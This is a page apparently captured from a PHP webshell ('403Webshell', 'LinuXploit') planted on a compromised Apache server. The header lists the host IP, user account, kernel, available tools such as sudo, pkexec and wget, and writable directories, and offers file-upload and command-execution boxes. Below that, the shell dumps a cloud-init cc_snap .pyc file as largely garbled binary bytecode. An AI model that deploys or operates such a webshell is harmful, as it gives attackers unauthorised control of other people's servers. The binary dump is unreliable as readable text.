403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_snap.cpython-36.opt-1.pyc
3

��b�#�@sdUdZddlZddlmZddlmZddlmZmZddl	m
Z
mZmZddl
mZddlmZd	gZeZeje�Zd
dded
�eed�ed�ed�ed�ed�ged�Ze
dddddgddiddddddid�ddgddddid�ddigiddddddidddid�gid�dd id!�ddd"�id#�Zeee�ZdZd$Zd%d&�Zd'd(�Zd)d*�Zd+d,�ZdS)-z<Snap: Install, configure and manage snapd and snap packages.�N)�dedent)�log)�subp�util)�
MetaSchema�get_meta_doc�validate_cloudconfig_schema)�PER_INSTANCE)�prepend_base_commandZubuntuZcc_snapZSnapz5Install, configure and manage snapd and snap packagesa,        This module provides a simple configuration namespace in cloud-init to
        both setup snapd and install snaps.

        .. note::
            Both ``assertions`` and ``commands`` values can be either a
            dictionary or a list. If these configs are provided as a
            dictionary, the keys are only used to order the execution of the
            assertions or commands and the dictionary is merged with any
            vendor-data snap configuration provided. If a list is provided by
            the user instead of a dict, any vendor-data snap configuration is
            ignored.

        The ``assertions`` configuration option is a dictionary or list of
        properly-signed snap assertions which will run before any snap
        ``commands``. They will be added to snapd's assertion database by
        invoking ``snap ack <aggregate_assertion_file>``.

        Snap ``commands`` is a dictionary or list of individual snap
        commands to run on the target system. These commands can be used to
        create snap users, install snaps and provide snap configuration.

        .. note::
            If 'side-loading' private/unpublished snaps on an instance, it is
            best to create a snap seed directory and seed.yaml manifest in
            **/var/lib/snapd/seed/** which snapd automatically installs on
            startup.

        **Development only**: The ``squashfuse_in_container`` boolean can be
        set true to install squashfuse package when in a container to enable
        snap installs. Default is false.
        ax        snap:
            assertions:
              00: |
                signed_assertion_blob_here
              02: |
                signed_assertion_blob_here
            commands:
              00: snap create-user --sudoer --known <snap-user>@mydomain.com
              01: snap install canonical-livepatch
              02: canonical-livepatch enable <AUTH_TOKEN>
    z�        # LXC-based containers require squashfuse before snaps can be installed
        snap:
            commands:
                00: apt-get install squashfuse -y
                11: snap install emoj

    a�        # Convenience: the snap command can be omitted when specifying commands
        # as a list and 'snap' will automatically be prepended.
        # The following commands are equivalent:
        snap:
            commands:
                00: ['install', 'vlc']
                01: ['snap', 'install', 'vlc']
                02: snap install vlc
                03: 'snap install vlc'
    z�        # You can use a list of commands
        snap:
            commands:
                - ['install', 'vlc']
                - ['snap', 'install', 'vlc']
                - snap install vlc
                - 'snap install vlc'
    z�        # You can use a list of assertions
        snap:
            assertions:
                - signed_assertion_blob_here
                - |
                    signed_assertion_blob_here
    )�id�name�title�description�distrosZexamples�	frequency�object�snapZarray�type�stringF�T)r�items�additionalItems�minItems�
minPropertiesZuniqueItems�additionalPropertiesZoneOf)rr)rrrrrrZboolean)�
assertions�commands�squashfuse_in_container)r�
propertiesrr)rrz(/var/lib/cloud/instance/snapd.assertionscCs�|sdStjd�t|t�r&|j�}nt|t�s@tdj|d���tdg}dj	|�}x&|D]}tjd|j
d�dd	��qXWtjt
|jd
��tj|t
gdd�dS)
aImport list of assertions.

    Import assertions by concatenating each assertion into a
    string separated by a '
'.  Write this string to a instance file and
    then invoke `snap ack /path/to/file` and check for errors.
    If snap exits 0, then all assertions are imported.
    Nz'Importing user-provided snap assertionsz8assertion parameter was not a list or dict: {assertions})rZack�
zSnap acking: %sr�zutf-8T)Zcapture)�LOG�debug�
isinstance�dict�values�list�	TypeError�format�SNAP_CMD�join�splitrZ
write_file�ASSERTIONS_FILE�encoder)rZsnap_cmdZcombinedZasrt�r.�/usr/lib/python3.6/cc_snap.py�add_assertions�s






r0cCs�|sdStjd�t|t�r4dd�t|j��D�}nt|t�sNtdj|d���t	d|�}g}xb|D]Z}t|t
�}ytj||tj
jd�Wqbtjk
r�}z|jt
|��WYdd}~XqbXqbW|r�d	j|d
�}tjt|�t|��dS)aHRun the provided commands provided in snap:commands configuration.

    Commands are run individually. Any errors are collected and reported
    after attempting all commands.

    @param commands: A list or dict containing commands to run. Keys of a
        dict will be used to order the commands provided as dict values.
    Nz#Running user-provided snap commandscSsg|]\}}|�qSr.r.)�.0�_�vr.r.r/�
<listcomp>�sz run_commands.<locals>.<listcomp>z5commands parameter was not a list or dict: {commands})rr)�shellZ	status_cbz.Failures running snap commands:
{cmd_failures})�cmd_failures)r!r"r#r$�sortedrr&r'r(r
�strr�sys�stderr�writeZProcessExecutionError�appendr�logexc�RuntimeError)rZfixed_snap_commandsr6Zcommandr5�e�msgr.r.r/�run_commands�s,	






$rAcCsxtj�sdSy|jj�Wn"tk
r<tjtd��YnXy|jjdg�Wn"tk
rrtjtd��YnXdS)z,Install squashfuse if we are in a container.NzPackage update failedZ
squashfusezFailed to install squashfuse)rZis_containerZdistroZupdate_package_sources�	Exceptionr=r!Zinstall_packages)�cloudr.r.r/�maybe_install_squashfuse�srDcCsh|jdi�}|s tjd|�dSt|t�tj|jdd��rDt|�t|jdg��t	|jdg��dS)Nrz8Skipping module named %s, no 'snap' key in configurationrFrr)
�getr!r"r�schemarZis_truerDr0rA)rZcfgrCr�argsZcfginr.r.r/�handles
rH)�__doc__r9�textwraprZ	cloudinitrZloggingrrZcloudinit.config.schemarrrZcloudinit.settingsr	Zcloudinit.subpr
rrZ	getLogger�__name__r!�metarFr)r,r0rArDrHr.r.r.r/�<module>sr
 	



(

Youez - 2016 - github.com/yon3zu
LinuXploit